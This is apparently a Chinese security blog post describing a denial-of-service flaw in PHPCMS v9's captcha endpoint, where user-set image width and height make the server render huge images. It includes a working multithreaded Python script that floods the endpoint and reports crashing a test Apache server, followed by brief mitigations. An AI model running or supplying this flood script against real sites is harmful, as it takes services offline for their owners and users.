图片验证码大小可控导致ddos

一. 前言:
在网站登录处,通常会有图片验证码.我们知道,Web漏洞的成因都有一个很重要的共同点,那就是外部可控.
比如Sql注入中的Url,用户输入的地方可能会存在XSS等.那么如果图片验证码可控,会发生什么呢?
二 . 原理:
比如一个生成图片验证码的链接如下:

http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background=

这里我们注意两个参数:width和height,这两个意思字面理解为长度和宽度,那么我们尝试修改它的大小:


可以看到,修改大小后图片也随之改变.那么如果我们在这里找到一个临界值(能显示图片的最大长度和宽度),然后利用多线程一直去访问这个链接,是不是会造成服务端不断去处理这个请求(比预期的数据包大很多),可能会导致服务端压力过大,造成ddos攻击.

三. 实战

  1. 这里我们使用PHPcms_V9来测试: 首先搭建好环境,来到管理员登录页:

2. 可以看到图片验证码,然后F12找到生成验证码的链接,如下:

http://xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=500&height=500&font_color=&background=

然后尝试修改width和height,找到最大值且保证可访问.这里我找到的大概是 width=4000&height=4000
然后就可以利用脚本使用多线程去访问了

四. Python测试脚本

import requests
import threading
import time"""@ 图片验证码大小可控导致ddos攻击脚本@ 单线程为测试,可忽略@ 使用时修改url即可@ 可根据实际情况修改访问次数,默认为10000@ 仅供学习参考,请勿实施攻击"""# 访问指定Url
def requser():headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'}# 将图片的长宽设置为最大临界值的链接url = "http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=4000&height=4000&font_color=&background="# url = "https://www.baidu.com/"req = requests.get(url=url,headers=headers)print("resuest Success!")# 单线程访问
def single_thread():for i in range(50):requser()print(f"现在是第{i}次请求网页")# 多线程访问
def multi_thread():print("multi_thread begin")threads = []for i in range(10000): # 10000为访问次数,可根据实际调整threads.append(threading.Thread(target=requser))print(threads)for thread in threads:thread.start()for thread in threads:thread.join()print("multi_thread end")if __name__ == '__main__':# 单线程# single_thread()# 多线程start = time.time()multi_thread()end = time.time()t = end - startprint(f"multi thread cost:{t} s")

五. 测试结果:

  1. 这里我们开启脚本去攻击,自己的服务器比较差,跑了100来次就挂了,看以下效果,已经刷不出来了:
  2. 看看服务器:Apache已经挂了

    六 . 防御
    这个就老生常谈了:
    (1) 指定图片验证码的大小,不让外部用户控制大小参数
    (2) 发现脚本请求直接封IP

Web安全(图片验证码大小可控导致ddos)相关推荐

  1. 图片验证码识别 python web_Python web中实现验证码图片

    在flask中使现验证码 #!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author : Yang # @Time : 2017/11/08 15 ...

  2. 用深度学习破解12306图片验证码,识别率超96%- web效果版

    12306最新版图片验证码已被破解已是公开的秘密.比如市面上那么专业多抢票软件,早就破解了这个图片验证码.     那他们到底是怎么实现的呢???     据本人猜测,应该都是基于近2年流行的深度学习 ...

  3. 【网络安全】——服务端安全(注入攻击、认证与会话管理和访问控制、访问控制、加密算法与随机数、Web框架安全、应用层拒绝服务攻击DDOS)

    这一篇博客记录的是服务端安全应用安全的知识,学习内容来自<白帽子讲Web安全>. ​ 承接自上一篇客户端安全之后,包括注入攻击.认证与会话管理和访问控制.访问控制.加密算法与随机数.Web ...

  4. 自己动手实现一次性图片验证码

    以前碰到注册登录需要图形验证码的时候,一般都是到网络上直接淘一个,也不读代码,直接就用了,今天静下来,从头到尾读了一遍代码,自己又照着写了一遍,加上了完整的注释,下面介绍步骤,首先新建一个web项目, ...

  5. 移动Web开发图片自适应两种常见情况解决方案

    本文主要说的是Web中图片根据手机屏幕大小自适应居中显示,图片自适应两种常见情况解决方案.开始吧 在做配合手机客户端的Web wap页面时,发现文章对图片显示的需求有两种特别重要的情况,一是对于图集, ...

  6. 发布一个很COOL的图片验证码程序[含源码]

    一.先看看效果: 制作步骤: (1)准备你想要的多张图片(数量不限,由你自己决定),将它们放在一个统一的目录下,比如我这里是"ValidateCodeImg".图片尺寸尽量适合你的 ...

  7. 网页登陆验证之图片验证码

    图片验证码:登陆网页时,生成随机图片验证码,在网页中显示出来,并把验证码保存下来用以登陆判断. 所用技术:tornado框架,自定义生成图片验证码的python文件及其相应字体文件,io模块,pill ...

  8. session图片验证码,页面和请求是两个地址。android手机好用,iphone 失效。

    问题描述:之前在H5页面用session做了一个验证码.安卓手机好使.但是到苹果就不好使了(页面访问是一个域名地址,ajax请求是用另外的一个ip地址). 详细说明: 验证码请求后台图片正常显示,an ...

  9. eoLinker-API_Shop_验证码识别与生成类API调用的代码示例合集:六位图片验证码生成、四位图片验证码生成、简单验证码识别等...

    以下示例代码适用于 www.apishop.net 网站下的API,使用本文提及的接口调用代码示例前,您需要先申请相应的API服务. 六位图片验证码生成:包括纯数字.小写字母.大写字母.大小写混合.数 ...

最新文章

  1. 04-Servlet入门+http协议
  2. JVM之垃圾收集机制四种GC算法详解
  3. java fx 建立窗体,3花式窗体与JavaFX CSS
  4. GNN手绘草图识别新架构:Multi-Graph Transformer 网络
  5. Netty从入门到精通-伪异步I/O编程
  6. 坐地起价、山寨横行、人身骚扰:割韭菜的刀,还是“搬家公司”快
  7. ar路由器 pppoe下发ipv6 dns_手机从路由器获取IP、光猫PPPOE拨号过程、IP/VLAN
  8. SQL实战之查找所有员工的last_name和first_name以及对应部门编号dept_no
  9. 清华大学发布《人工智能芯片技术白皮书(2018)》
  10. excel求方差和标准差的函数_excel标准差函数是什么?怎么计算?
  11. 饼图出现超过100%的比例——基础积累
  12. tbc新服务器没消息,暴雪蓝贴官宣TBC怀旧服2021年内上线,所有服务器直升70级
  13. 在Blender中使用代码控制人物模型的头部姿态 - 前置知识
  14. 乘风破浪的技术大咖再次集结 | 腾讯云TVP持续航行中
  15. java %取余数_计算机取余数java
  16. JAVA实现功能的方法
  17. 网址后面的:2328是什么意思?
  18. 阿朱:从50到5000,从技术到人
  19. 将无法编辑,或者加密的word文档解密,使之可以编辑
  20. 在线制作webp格式的图片

热门文章

  1. 前端基础--JavaScript
  2. r320使用ahci模式安装linux,如何开启ahci模式 ahci模式开启的方法
  3. mysql 遗失对主机的连接,MySQL远程连接丢失问题解决方法(Lost connection to MySQL server)...
  4. 按键精灵调用python插件_【Python 教程】使用 Python 和大漠插件进行文字识别
  5. 安卓在GooglePlay上线后同时平板也能搜到
  6. 数据团队总监生存指南
  7. 程序员成长之路(四)之有用的网址
  8. CDLinux制作U盘启动器,并设置电脑以U盘启动(一次失败经历的学习笔记)
  9. 随心玩玩(四)docker从入门到入土
  10. 视频聊天网站的研究、发展以及趋势